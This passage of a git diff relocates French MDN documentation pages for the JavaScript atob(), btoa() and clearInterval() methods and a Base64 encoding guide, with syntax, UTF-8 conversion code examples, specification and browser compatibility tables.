- {{CompatGeckoDesktop(27)}}[2]
- {{CompatGeckoDesktop(52)}}[3]		10{{CompatVersionUnknown}}{{CompatVersionUnknown}}
- - - - - - - - - - - - - - - - - - - - - - -
FonctionnalitéAndroidEdgeFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Support de base{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatGeckoMobile(1)}}
- {{CompatGeckoDesktop(52)}}[3]		{{CompatNo}}{{CompatUnknown}}{{CompatVersionUnknown}}
- -

[1] atob() est aussi disponible pour les composants XPCOM implémentés en JavaScript, même si window n'est pas l'objet global dans les composants.

- -

[2] A partir de Firefox 27, atob() ignore tous les caractères espace dans l'argument pour se conformer à la spéc HTML5 la plus récente (voir {{bug(711180)}}).

- -

[3] atob() maintenant définie dans le mixin {{domxref("WindowOrWorkerGlobalScope")}}.

- -

Voir aussi

- - diff --git a/files/fr/web/api/windowbase64/btoa/index.html b/files/fr/web/api/windowbase64/btoa/index.html deleted file mode 100644 index 7d993f35fa..0000000000 --- a/files/fr/web/api/windowbase64/btoa/index.html +++ /dev/null @@ -1,174 +0,0 @@ ---- -title: WindowBase64.btoa() -slug: Web/API/WindowBase64/btoa -tags: - - API - - DOM - - Méthode - - Reference - - Web - - WindowOrWorkerGlobalScope - - btoa - - chaînes - - données -translation_of: Web/API/WindowOrWorkerGlobalScope/btoa ---- -
{{APIRef("HTML DOM")}}
- -

La méthode WindowOrWorkerGlobalScope.btoa() crée une chaîne ASCII codée en base 64 à partir d'un objet {{jsxref ("String")}} dans lequel chaque caractère de la chaîne est traité comme un octet de données binaires.

- -
-

Note : étant donné que cette fonction traite chaque caractère comme un octet de données binaires, quel que soit le nombre d'octets composant le caractère, une exception InvalidCharacterError est déclenchée si le {{Glossary("code point")}} d'un caractère quelconque est en dehors de la plage 0x00 à 0xFF. Voir {{anch("Chaînes Unicode")}} pour un exemple montrant comment encoder des chaînes avec des caractères en dehors de la plage 0x00 à 0xFF.

-
- -

Syntaxe

- -
var donneesEncodees = scope.btoa(chaineAEncoder);
-
- -

Paramètres

- -
-
chaineAEncoder
-
Une chaîne dont les caractères représentent chacun un octet unique de données binaires à encoder en ASCII.
-
- -

Valeur retournée

- -

Une chaîne contenant la représentation Base64 de la chaineAEncoder.

- -

Exceptions

- -

Exemple

- -
var donneesEncodees = window.btoa('Salut, monde'); // encode une chaîne
-var donneesDecodees = window.atob(donneesEncodees); // décode la chaîne
-
- -

Notes

- -

Vous pouvez utiliser cette méthode pour encoder des données qui, autrement, pourraient engendrer des problèmes de communication, les transmettre et utiliser alors la méthode {{domxref("WindowOrWorkerGlobalScope.atob","atob()")}} pour décoder les données à nouveau. Par exemple, vous pouvez encoder des caractères de contrôle tels que les valeurs ASCII de 0 à 31.

- -

btoa() est également disponible pour les composants XPCOM implémentés en JavaScript, même si {domxref("Window")}} n'est pas l'objet global dans les composants.

- -

Chaînes Unicode

- -

Dans la plupart des navigateurs, l'appel de btoa() sur une chaîne Unicode engendrera une exception InvalidCharacterError.

- -

Une option est d'échapper tous les caractères étendus, de telle sorte que la chaîne que vous voulez en fait encoder soit une représentation ASCII de l'original. Voyez cet exemple, noté par Johan Sundström :

- -
// Chaîne ucs-2 en ascii encodé en base64
-function uena(chn) {
-    return window.btoa(unescape(encodeURIComponent(chn)));
-}
-// Ascii encodé en base64 en chaîne ucs-2
-function aenu(chn) {
-    return decodeURIComponent(escape(window.atob(chn)));
-}
-// Usage :
-uena('✓ à la mode'); // 4pyTIMOgIGxhIG1vZGU=
-aenu('4pyTIMOgIGxhIG1vZGU='); // "✓ à la mode"
-
-uena('I \u2661 Unicode!'); // SSDimaEgVW5pY29kZSE=
-aenu('SSDimaEgVW5pY29kZSE='); // "I ♡ Unicode!"
- -

Une solution meilleure, plus fiable et moins coûteuse consiste à utiliser des tableaux typés pour faire la conversion.

- -

Spécifications

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
SpécificationStatutCommentaire
{{SpecName('HTML WHATWG', 'webappapis.html#dom-btoa', 'WindowOrWorkerGlobalScope.btoa()')}}{{Spec2('HTML WHATWG')}}Méthode déplacée dans le mixin WindowOrWorkerGlobalScope dans la spéc la plus récente.
{{SpecName('HTML WHATWG', '#dom-windowbase64-btoa', 'WindowBase64.btoa()')}}{{Spec2('HTML WHATWG')}}Pas de changement depuis le dernier instantané, {{SpecName("HTML5.1")}}.
{{SpecName('HTML5.1', '#dom-windowbase64-btoa', 'WindowBase64.btoa()')}}{{Spec2('HTML5.1')}}Instantané de {{SpecName("HTML WHATWG")}}. Pas de changement.
{{SpecName("HTML5 W3C", "#dom-windowbase64-btoa", "WindowBase64.btoa()")}}{{Spec2('HTML5 W3C')}}Instantané de {{SpecName("HTML WHATWG")}}. Création de WindowBase64 (les propriétés se trouvaient sur la cible avant cela).
- -

Compatibilité des navigateurs

- -

{{CompatibilityTable}}

- - - - - - - - - - - - - - - - - - - - - - -
FonctionnalitéChromeEdgeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Support de base{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatGeckoDesktop(1)}}[1]
- {{CompatGeckoDesktop(52)}}[2]		10{{CompatVersionUnknown}}{{CompatVersionUnknown}}
- - - - - - - - - - - - - - - - - - - - - - -
FonctionnalitéAndroidEdgeFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Support de base{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatGeckoMobile(1)}}
- {{CompatGeckoMobile(52)}}		{{CompatNo}}{{CompatUnknown}}{{CompatVersionUnknown}}
- -

[1] btoa() est aussi pour les composants XPCOM implémentés en JavaScript, même si window n'est pas l'objet global dans les composants.

- -

[2] btoa() maintenant défini dans le mixin {{domxref("WindowOrWorkerGlobalScope")}}.

- -

Voir aussi

- - diff --git "a/files/fr/web/api/windowbase64/d\303\251coder_encoder_en_base64/index.html" "b/files/fr/web/api/windowbase64/d\303\251coder_encoder_en_base64/index.html" deleted file mode 100644 index ae762bf333..0000000000 --- "a/files/fr/web/api/windowbase64/d\303\251coder_encoder_en_base64/index.html" +++ /dev/null @@ -1,343 +0,0 @@ ---- -title: Décoder et encoder en base64 -slug: Web/API/WindowBase64/Décoder_encoder_en_base64 -tags: - - Advanced - - Base64 - - JavaScript - - Reference - - Typed Arrays - - URI - - URL - - Unicode Problem - - atob() - - btoa() -translation_of: Glossary/Base64 ---- -

Base64 est un groupe de schéma pour encoder des données binaires sous forme d'un texte au format ASCII grâce à la représentation de ces données en base 64. Le terme base64 vient à l'origine de l'encodage utilisé pour transférer certains contenus MIME.

- -

Les schémas d'encodage en base64 sont principalement utilisés lorsqu'il s'agit d'enregistrer ou d'envoyer des données binaires via un media qui a été conçu pour gérer du texte. Cette transformation permet de conserver l'intégrité et la véracité des données envoyées lors du transport. Base64 est utilisé par plusieurs applications, notamment celles qui gèrent les courriels avec MIME, et le stockage de données complexes en XML.

- -

Pour JavaScript, il existe deux fonctions utilisées pour encoder et décoder des chaînes en base64 :

- -
    -
  • {{domxref("window.atob","atob()")}}
    • -
  • {{domxref("window.btoa","btoa()")}}
    • -
- -

La fonction atob() permet de décoder des données encodées en une chaîne de caractères en base 64. La fonction btoa(), quant à elle, permet de créer une chaîne ASCII en base64 à partir d'une « chaîne » de données binaires.

- -

Les deux méthodes, atob() et btoa(), fonctionnent sur des chaînes de caractères. Si vous voulez utiliser des ArrayBuffers, lisez ce paragraphe.

- - - - - - - - -
-

Documentation

- -
-
URIs de données
-
Les URIs de données, définies par la RFC 2397, permettent aux créateurs de contenus d'intégrer des fichiers en ligne dans des documents.
-
Base64
-
Article Wikipédia sur l'encodage en base64.
-
{{domxref("window.atob","atob()")}}
-
Méthode permettant de décoder une chaîne de donnée qui a été encodée en base64.
-
{{domxref("window.btoa","btoa()")}}
-
Méthode permettant de créer une chaîne ASCII en base64 à partir d'une « chaîne » de données binaires.
-
Le « problème Unicode »
-
Pour la plupart des navigateurs, l'utilisation de btoa() sur une chaîne de caractères Unicode entraînera une exception Character Out Of Range. Ce paragraphe indique quelques solutions.
-
URIScheme
-
Une liste de schémas URI supportés par Mozilla.
-
StringView
-
Dans cet article, nous publions une bibliothèque dont les buts sont : -
    -
  • de créer une interface pour les chaînes de caractères à la façon du langage C (i.e. un tableau de code de caractères — ArrayBufferView en JavaScript) basée sur l'interface JavaScript ArrayBuffer,
    • -
  • de créer un ensemble de méthodes pour ces objets qui fonctionnent sur des tableaux de nombres plutôt que sur chaînes de caractères JavaScript immuables,
    • -
  • de travailler avec d'autres encodages Unicode, y compris ceux différent d'UTF-16 qui est l'encodage par défaut de JavaScript pour les DOMString.
    • -
-
-
- -

Voir toutes les pages sur base64...

- 		-

Outils

- - - -

Voir toutes les pages sur base64...

- - - - -
- -

Le « problème Unicode »

- -

Les objets DOMString sont des chaînes de caractères encodées sur 16 bits. Pour la plupart des navigateurs, lorsqu'on appelle window.btoa sur une chaîne Unicode, cela entraîne une exception Character Out Of Range si la représentation du caractère dépasse les 8 bits ASCII. Deux méthodes existent pour résoudre le problème :

- -
    -
  • échapper la chaîne dans son intégralité puis l'encoder,
    • -
  • convertir la chaîne UTF-16 DOMString en un tableau UTF-8 de caractères puis l'encoder.
    • -
- -

Voici ces deux méthodes :

- -

Première solution  – échapper la chaîne avant de l'encoder

- -
function utf8_to_b64( str ) {
-  return window.btoa(unescape(encodeURIComponent( str )));
-}
-
-function b64_to_utf8( str ) {
-  return decodeURIComponent(escape(window.atob( str )));
-}
-
-// Usage:
-utf8_to_b64('✓ à la mode'); // "4pyTIMOgIGxhIG1vZGU="
-b64_to_utf8('4pyTIMOgIGxhIG1vZGU='); // "✓ à la mode"
- -

Cette solution a été proposée dans un article de Johan Sundström.

- -

Seconde solution – réécrire atob() et btoa() en utilisant des TypedArray avec de l'UTF-8

- -
Note : Le code suivant peut également être utilisé pour obtenir un ArrayBuffer depuis une chaîne en base 64 (et vice-versa, voir ci-après). Pour un article concernant une bibliothèque complète sur les tableaux typés, voir cet article.
- -
"use strict";
-
-/*\
-|*|
-|*|  utilitairezs de manipulations de chaînes base 64 / binaires / UTF-8
-|*|
-|*|  https://developer.mozilla.org/fr/docs/Décoder_encoder_en_base64
-|*|
-\*/
-
-/* Décoder un tableau d'octets depuis une chaîne en base64 */
-
-function b64ToUint6 (nChr) {
-
-  return nChr > 64 && nChr < 91 ?
-      nChr - 65
-    : nChr > 96 && nChr < 123 ?
-      nChr - 71
-    : nChr > 47 && nChr < 58 ?
-      nChr + 4
-    : nChr === 43 ?
-      62
-    : nChr === 47 ?
-      63
-    :
-      0;
-
-}
-
-function base64DecToArr (sBase64, nBlocksSize) {
-
-  var
-    sB64Enc = sBase64.replace(/[^A-Za-z0-9\+\/]/g, ""), nInLen = sB64Enc.length,
-    nOutLen = nBlocksSize ? Math.ceil((nInLen * 3 + 1 >> 2) / nBlocksSize) * nBlocksSize : nInLen * 3 + 1 >> 2, taBytes = new Uint8Array(nOutLen);
-
-  for (var nMod3, nMod4, nUint24 = 0, nOutIdx = 0, nInIdx = 0; nInIdx < nInLen; nInIdx++) {
-    nMod4 = nInIdx & 3;
-    nUint24 |= b64ToUint6(sB64Enc.charCodeAt(nInIdx)) << 18 - 6 * nMod4;
-    if (nMod4 === 3 || nInLen - nInIdx === 1) {
-      for (nMod3 = 0; nMod3 < 3 && nOutIdx < nOutLen; nMod3++, nOutIdx++) {
-        taBytes[nOutIdx] = nUint24 >>> (16 >>> nMod3 & 24) & 255;
-      }
-      nUint24 = 0;
-
-    }
-  }
-
-  return taBytes;
-}
-
-/* encodage d'un tableau en une chaîne en base64 */
-
-function uint6ToB64 (nUint6) {
-
-  return nUint6 < 26 ?
-      nUint6 + 65
-    : nUint6 < 52 ?
-      nUint6 + 71
-    : nUint6 < 62 ?
-      nUint6 - 4
-    : nUint6 === 62 ?
-      43
-    : nUint6 === 63 ?
-      47
-    :
-      65;
-
-}
-
-function base64EncArr (aBytes) {
-
-  var nMod3 = 2, sB64Enc = "";
-
-  for (var nLen = aBytes.length, nUint24 = 0, nIdx = 0; nIdx < nLen; nIdx++) {
-    nMod3 = nIdx % 3;
-    if (nIdx > 0 && (nIdx * 4 / 3) % 76 === 0) { sB64Enc += "\r\n"; }
-    nUint24 |= aBytes[nIdx] << (16 >>> nMod3 & 24);
-    if (nMod3 === 2 || aBytes.length - nIdx === 1) {
-      sB64Enc += String.fromCharCode(uint6ToB64(nUint24 >>> 18 & 63), uint6ToB64(nUint24 >>> 12 & 63), uint6ToB64(nUint24 >>> 6 & 63), uint6ToB64(nUint24 & 63));
-      nUint24 = 0;
-    }
-  }
-
-  return sB64Enc.substr(0, sB64Enc.length - 2 + nMod3) + (nMod3 === 2 ? '' : nMod3 === 1 ? '=' : '==');
-
-}
-
-/* Tableau UTF-8 en DOMString et vice versa */
-
-function UTF8ArrToStr (aBytes) {
-
-  var sView = "";
-
-  for (var nPart, nLen = aBytes.length, nIdx = 0; nIdx < nLen; nIdx++) {
-    nPart = aBytes[nIdx];
-    sView += String.fromCharCode(
-      nPart > 251 && nPart < 254 && nIdx + 5 < nLen ? /* six bytes */
-        /* (nPart - 252 << 32) n'est pas possible pour ECMAScript donc, on utilise un contournement... : */
-        (nPart - 252) * 1073741824 + (aBytes[++nIdx] - 128 << 24) + (aBytes[++nIdx] - 128 << 18) + (aBytes[++nIdx] - 128 << 12) + (aBytes[++nIdx] - 128 << 6) + aBytes[++nIdx] - 128
-      : nPart > 247 && nPart < 252 && nIdx + 4 < nLen ? /* five bytes */
-        (nPart - 248 << 24) + (aBytes[++nIdx] - 128 << 18) + (aBytes[++nIdx] - 128 << 12) + (aBytes[++nIdx] - 128 << 6) + aBytes[++nIdx] - 128
-      : nPart > 239 && nPart < 248 && nIdx + 3 < nLen ? /* four bytes */
-        (nPart - 240 << 18) + (aBytes[++nIdx] - 128 << 12) + (aBytes[++nIdx] - 128 << 6) + aBytes[++nIdx] - 128
-      : nPart > 223 && nPart < 240 && nIdx + 2 < nLen ? /* three bytes */
-        (nPart - 224 << 12) + (aBytes[++nIdx] - 128 << 6) + aBytes[++nIdx] - 128
-      : nPart > 191 && nPart < 224 && nIdx + 1 < nLen ? /* two bytes */
-        (nPart - 192 << 6) + aBytes[++nIdx] - 128
-      : /* nPart < 127 ? */ /* one byte */
-        nPart
-    );
-  }
-
-  return sView;
-
-}
-
-function strToUTF8Arr (sDOMStr) {
-
-  var aBytes, nChr, nStrLen = sDOMStr.length, nArrLen = 0;
-
-  /* mapping... */
-
-  for (var nMapIdx = 0; nMapIdx < nStrLen; nMapIdx++) {
-    nChr = sDOMStr.charCodeAt(nMapIdx);
-    nArrLen += nChr < 0x80 ? 1 : nChr < 0x800 ? 2 : nChr < 0x10000 ? 3 : nChr < 0x200000 ? 4 : nChr < 0x4000000 ? 5 : 6;
-  }
-
-  aBytes = new Uint8Array(nArrLen);
-
-  /* transcription... */
-
-  for (var nIdx = 0, nChrIdx = 0; nIdx < nArrLen; nChrIdx++) {
-    nChr = sDOMStr.charCodeAt(nChrIdx);
-    if (nChr < 128) {
-      /* one byte */
-      aBytes[nIdx++] = nChr;
-    } else if (nChr < 0x800) {
-      /* two bytes */
-      aBytes[nIdx++] = 192 + (nChr >>> 6);
-      aBytes[nIdx++] = 128 + (nChr & 63);
-    } else if (nChr < 0x10000) {
-      /* three bytes */
-      aBytes[nIdx++] = 224 + (nChr >>> 12);
-      aBytes[nIdx++] = 128 + (nChr >>> 6 & 63);
-      aBytes[nIdx++] = 128 + (nChr & 63);
-    } else if (nChr < 0x200000) {
-      /* four bytes */
-      aBytes[nIdx++] = 240 + (nChr >>> 18);
-      aBytes[nIdx++] = 128 + (nChr >>> 12 & 63);
-      aBytes[nIdx++] = 128 + (nChr >>> 6 & 63);
-      aBytes[nIdx++] = 128 + (nChr & 63);
-    } else if (nChr < 0x4000000) {
-      /* five bytes */
-      aBytes[nIdx++] = 248 + (nChr >>> 24);
-      aBytes[nIdx++] = 128 + (nChr >>> 18 & 63);
-      aBytes[nIdx++] = 128 + (nChr >>> 12 & 63);
-      aBytes[nIdx++] = 128 + (nChr >>> 6 & 63);
-      aBytes[nIdx++] = 128 + (nChr & 63);
-    } else /* if (nChr <= 0x7fffffff) */ {
-      /* six bytes */
-      aBytes[nIdx++] = 252 + /* (nChr >>> 32) is not possible in ECMAScript! So...: */ (nChr / 1073741824);
-      aBytes[nIdx++] = 128 + (nChr >>> 24 & 63);
-      aBytes[nIdx++] = 128 + (nChr >>> 18 & 63);
-      aBytes[nIdx++] = 128 + (nChr >>> 12 & 63);
-      aBytes[nIdx++] = 128 + (nChr >>> 6 & 63);
-      aBytes[nIdx++] = 128 + (nChr & 63);
-    }
-  }
-
-  return aBytes;
-
-}
-
- -

Tests

- -
/* Tests */
-
-var entréeChaîne = "base64 \u2014 Mozilla Developer Network";
-
-var entréeUTF8 = strToUTF8Arr(entréeChaîne);
-
-var base64 = base64EncArr(entréeUTF8);
-
-alert(base64);
-
-var sortieUT8 = base64DecToArr(base64);
-
-var sortieChaîne = UTF8ArrToStr(sortieUT8);
-
-alert(sortieChaîne);
- -

Annexe : Décoder une chaîne en base64 en un objet Uint8Array ou ArrayBuffer

- -

Ces fonctions permettent de créer des objets uint8Arrays ou arrayBuffers à partir de chaînes en base64 :

- -
var monTableau = base64DecToArr("QmFzZSA2NCDigJQgTW96aWxsYSBEZXZlbG9wZXIgTmV0d29yaw=="); // "Base 64 \u2014 Mozilla Developer Network"
-
-var monBuffer = base64DecToArr("QmFzZSA2NCDigJQgTW96aWxsYSBEZXZlbG9wZXIgTmV0d29yaw==").buffer; // "Base 64 \u2014 Mozilla Developer Network"
-
-alert(monBuffer.byteLength);
- -
Note : La fonction base64DecToArr(sBase64[, nTailleBloc]) renvoie un uint8Array d'octets. Si vous souhaitez utiliser un tampon mémoire de 16 bits, 32 bits, 64 bits pour les données brutes, utilisez l'argument nTailleBloc, qui représente le nombre d'octets dont la propriété uint8Array.buffer.bytesLength doit être un multiple (1 ou pas de paramètre pour l'ASCII, les chaînes binaires ou les chaînes encodées UTF-8, 2 pour les chaînes UTF-16, 4 pour les chaînes UTF-32).
- -

Pour une bibliothèque plus complète, voir StringView – une représentation des chaînes de caractères semblable à celle du langage C, basée sur les tableaux typés

- -

Voir aussi

- - diff --git a/files/fr/web/api/windoworworkerglobalscope/atob/index.html b/files/fr/web/api/windoworworkerglobalscope/atob/index.html new file mode 100644 index 0000000000..b04c255040 --- /dev/null +++ b/files/fr/web/api/windoworworkerglobalscope/atob/index.html @@ -0,0 +1,132 @@ +--- +title: window.atob +slug: Web/API/WindowBase64/atob +tags: + - API + - DOM + - Reference + - WindowOrWorkerGlobalScope + - atob +translation_of: Web/API/WindowOrWorkerGlobalScope/atob +--- +

{{APIRef ("HTML DOM")}}
+ La fonction WindowOrWorkerGlobalScope.atob() décode une chaîne de données qui a été codée en utilisant le codage en base 64. Vous pouvez utiliser la méthode {{domxref("WindowOrWorkerGlobalScope.btoa","btoa()")}} pour encoder et transmettre des données qui pourraient causer des problèmes de communication, puis les transmettre et utiliser la méthode atob() pour décoder les données . Par exemple, vous pouvez coder, transmettre et décoder des caractères de contrôle tels que les valeurs ASCII 0 à 31.

+ +

Pour une utilisation avec des chaînes Unicode ou UTF-8, voir cette note sur l'encodage et le décodage Base64 et cette note sur btoa().

+ +

Syntaxe

+ +
var donneesDecodees = scope.atob(donneesEncodees);
+
+ +

Déclenche

+ +

Déclenche une {{jsxref("DOMException")}} si la longueur de la chaîne passée en entrée n'est pas un multiple de 4.

+ +

Exemple

+ +
donneesEncodees = window.btoa('Salut, monde'); // encode une chaîne
+donneesDecodees = window.atob(donneesEncodees); // décode la chaîne
+
+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
SpécificationStatutCommentaire
{{SpecName('HTML WHATWG', 'webappapis.html#dom-btoa', 'WindowOrWorkerGlobalScope.atob()')}}{{Spec2('HTML WHATWG')}}Méthode déplacée dans le mixin WindowOrWorkerGlobalScope dans la spéc la plus récente.
{{SpecName('HTML WHATWG', '#dom-windowbase64-atob', 'WindowBase64.atob()')}}{{Spec2('HTML WHATWG')}}Pas de changement depuis l'instantané le plus récent {{SpecName("HTML5.1")}}.
{{SpecName('HTML5.1', '#dom-windowbase64-atob', 'WindowBase64.atob()')}}{{Spec2('HTML5.1')}}Instantané de {{SpecName("HTML WHATWG")}}. Pas de changement.
{{SpecName("HTML5 W3C", "#dom-windowbase64-atob", "WindowBase64.atob()")}}{{Spec2('HTML5 W3C')}}Instantané de {{SpecName("HTML WHATWG")}}. Création de WindowBase64 (les propriétés se trouvaient sur la cible avant cela).
+ +

Compatibilité des navigateurs

+ +

{{CompatibilityTable}}

+ + + + + + + + + + + + + + + + + + + + + + +
FonctionnalitéChromeEdgeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Support de base{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatGeckoDesktop(1)}}[1]
+ {{CompatGeckoDesktop(27)}}[2]
+ {{CompatGeckoDesktop(52)}}[3]		10{{CompatVersionUnknown}}{{CompatVersionUnknown}}
+ + + + + + + + + + + + + + + + + + + + + + +
FonctionnalitéAndroidEdgeFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Support de base{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatGeckoMobile(1)}}
+ {{CompatGeckoDesktop(52)}}[3]		{{CompatNo}}{{CompatUnknown}}{{CompatVersionUnknown}}
+ +

[1] atob() est aussi disponible pour les composants XPCOM implémentés en JavaScript, même si window n'est pas l'objet global dans les composants.

+ +

[2] A partir de Firefox 27, atob() ignore tous les caractères espace dans l'argument pour se conformer à la spéc HTML5 la plus récente (voir {{bug(711180)}}).

+ +

[3] atob() maintenant définie dans le mixin {{domxref("WindowOrWorkerGlobalScope")}}.

+ +

Voir aussi

+ + diff --git a/files/fr/web/api/windoworworkerglobalscope/btoa/index.html b/files/fr/web/api/windoworworkerglobalscope/btoa/index.html new file mode 100644 index 0000000000..7d993f35fa --- /dev/null +++ b/files/fr/web/api/windoworworkerglobalscope/btoa/index.html @@ -0,0 +1,174 @@ +--- +title: WindowBase64.btoa() +slug: Web/API/WindowBase64/btoa +tags: + - API + - DOM + - Méthode + - Reference + - Web + - WindowOrWorkerGlobalScope + - btoa + - chaînes + - données +translation_of: Web/API/WindowOrWorkerGlobalScope/btoa +--- +
{{APIRef("HTML DOM")}}
+ +

La méthode WindowOrWorkerGlobalScope.btoa() crée une chaîne ASCII codée en base 64 à partir d'un objet {{jsxref ("String")}} dans lequel chaque caractère de la chaîne est traité comme un octet de données binaires.

+ +
+

Note : étant donné que cette fonction traite chaque caractère comme un octet de données binaires, quel que soit le nombre d'octets composant le caractère, une exception InvalidCharacterError est déclenchée si le {{Glossary("code point")}} d'un caractère quelconque est en dehors de la plage 0x00 à 0xFF. Voir {{anch("Chaînes Unicode")}} pour un exemple montrant comment encoder des chaînes avec des caractères en dehors de la plage 0x00 à 0xFF.

+
+ +

Syntaxe

+ +
var donneesEncodees = scope.btoa(chaineAEncoder);
+
+ +

Paramètres

+ +
+
chaineAEncoder
+
Une chaîne dont les caractères représentent chacun un octet unique de données binaires à encoder en ASCII.
+
+ +

Valeur retournée

+ +

Une chaîne contenant la représentation Base64 de la chaineAEncoder.

+ +

Exceptions

+ +

Exemple

+ +
var donneesEncodees = window.btoa('Salut, monde'); // encode une chaîne
+var donneesDecodees = window.atob(donneesEncodees); // décode la chaîne
+
+ +

Notes

+ +

Vous pouvez utiliser cette méthode pour encoder des données qui, autrement, pourraient engendrer des problèmes de communication, les transmettre et utiliser alors la méthode {{domxref("WindowOrWorkerGlobalScope.atob","atob()")}} pour décoder les données à nouveau. Par exemple, vous pouvez encoder des caractères de contrôle tels que les valeurs ASCII de 0 à 31.

+ +

btoa() est également disponible pour les composants XPCOM implémentés en JavaScript, même si {domxref("Window")}} n'est pas l'objet global dans les composants.

+ +

Chaînes Unicode

+ +

Dans la plupart des navigateurs, l'appel de btoa() sur une chaîne Unicode engendrera une exception InvalidCharacterError.

+ +

Une option est d'échapper tous les caractères étendus, de telle sorte que la chaîne que vous voulez en fait encoder soit une représentation ASCII de l'original. Voyez cet exemple, noté par Johan Sundström :

+ +
// Chaîne ucs-2 en ascii encodé en base64
+function uena(chn) {
+    return window.btoa(unescape(encodeURIComponent(chn)));
+}
+// Ascii encodé en base64 en chaîne ucs-2
+function aenu(chn) {
+    return decodeURIComponent(escape(window.atob(chn)));
+}
+// Usage :
+uena('✓ à la mode'); // 4pyTIMOgIGxhIG1vZGU=
+aenu('4pyTIMOgIGxhIG1vZGU='); // "✓ à la mode"
+
+uena('I \u2661 Unicode!'); // SSDimaEgVW5pY29kZSE=
+aenu('SSDimaEgVW5pY29kZSE='); // "I ♡ Unicode!"
+ +

Une solution meilleure, plus fiable et moins coûteuse consiste à utiliser des tableaux typés pour faire la conversion.

+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
SpécificationStatutCommentaire
{{SpecName('HTML WHATWG', 'webappapis.html#dom-btoa', 'WindowOrWorkerGlobalScope.btoa()')}}{{Spec2('HTML WHATWG')}}Méthode déplacée dans le mixin WindowOrWorkerGlobalScope dans la spéc la plus récente.
{{SpecName('HTML WHATWG', '#dom-windowbase64-btoa', 'WindowBase64.btoa()')}}{{Spec2('HTML WHATWG')}}Pas de changement depuis le dernier instantané, {{SpecName("HTML5.1")}}.
{{SpecName('HTML5.1', '#dom-windowbase64-btoa', 'WindowBase64.btoa()')}}{{Spec2('HTML5.1')}}Instantané de {{SpecName("HTML WHATWG")}}. Pas de changement.
{{SpecName("HTML5 W3C", "#dom-windowbase64-btoa", "WindowBase64.btoa()")}}{{Spec2('HTML5 W3C')}}Instantané de {{SpecName("HTML WHATWG")}}. Création de WindowBase64 (les propriétés se trouvaient sur la cible avant cela).
+ +

Compatibilité des navigateurs

+ +

{{CompatibilityTable}}

+ + + + + + + + + + + + + + + + + + + + + + +
FonctionnalitéChromeEdgeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Support de base{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatGeckoDesktop(1)}}[1]
+ {{CompatGeckoDesktop(52)}}[2]		10{{CompatVersionUnknown}}{{CompatVersionUnknown}}
+ + + + + + + + + + + + + + + + + + + + + + +
FonctionnalitéAndroidEdgeFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Support de base{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatGeckoMobile(1)}}
+ {{CompatGeckoMobile(52)}}		{{CompatNo}}{{CompatUnknown}}{{CompatVersionUnknown}}
+ +

[1] btoa() est aussi pour les composants XPCOM implémentés en JavaScript, même si window n'est pas l'objet global dans les composants.

+ +

[2] btoa() maintenant défini dans le mixin {{domxref("WindowOrWorkerGlobalScope")}}.

+ +

Voir aussi

+ + diff --git a/files/fr/web/api/windoworworkerglobalscope/clearinterval/index.html b/files/fr/web/api/windoworworkerglobalscope/clearinterval/index.html new file mode 100644 index 0000000000..8041342b1d --- /dev/null +++ b/files/fr/web/api/windoworworkerglobalscope/clearinterval/index.html @@ -0,0 +1,73 @@ +--- +title: WindowOrWorkerGlobalScope.clearInterval() +slug: Web/API/WindowTimers/clearInterval +tags: + - API + - Méthode + - Reference + - WindowOrWorkerGlobalScope + - clearInterval +translation_of: Web/API/WindowOrWorkerGlobalScope/clearInterval +--- +
{{APIRef("HTML DOM")}}
+ +

La méthode clearInterval(), rattachée au mixin {{domxref("WindowOrWorkerGlobalScope")}}, permet d'annuler une action répétée minutée initiée via un appel à {{domxref("WindowOrWorkerGlobalScope.setInterval", "setInterval()")}}.

+ +

Syntaxe

+ +
scope.clearInterval(intervalID)
+
+ +

Paramètres

+ +
+
intervalID
+
L'identifiant de l'intervalle de répétition qu'on souhaite annuler. Cet identifiant est renvoyé lorsqu'on appelle setInterval() pour définir l'intervalle de répétition.
+
+ +

On notera que l'ensemble des identifiants utilisés est commun entre ceux fournis par {{domxref("WindowOrWorkerGlobalScope.setInterval", "setInterval()")}} et ceux fournis par {{domxref("WindowOrWorkerGlobalScope.setTimeout", "setTimeout()")}}. Cela signifie qu'on peut, techniquement, utiliser clearInterval() et {{domxref("WindowOrWorkerGlobalScope.clearTimeout", "clearTimeout()")}} de façon interchangeable. C'est toutefois une mauvaise pratique, qui nuit à la lisibilité du code et à sa maintenabilité.

+ +

Valeur de retour

+ +

{{jsxref("undefined")}}

+ +

Exemples

+ +

Voir l'exemple setInterval().

+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
{{SpecName('HTML WHATWG', 'webappapis.html#dom-clearinterval', 'WindowOrWorkerGlobalScope.clearInterval()')}}{{Spec2("HTML WHATWG")}}Cette méthode a été déplacée sur le mixin WindowOrWorkerGlobalScope.
{{SpecName('HTML WHATWG', 'webappapis.html#dom-clearinterval', 'clearInterval()')}}{{Spec2('HTML WHATWG')}} 
+ +

Compatibilité des navigateurs

+ + + +

{{Compat("api.WindowOrWorkerGlobalScope.clearInterval")}}

+ +

Voir aussi

+ +
    +
  • {{domxref("WindowOrWorkerGlobalScope.setTimeout")}}
    • +
  • {{domxref("WindowOrWorkerGlobalScope.setInterval")}}
    • +
  • {{domxref("WindowOrWorkerGlobalScope.clearTimeout")}}
    • +
  • {{domxref("Window.requestAnimationFrame")}}
    • +
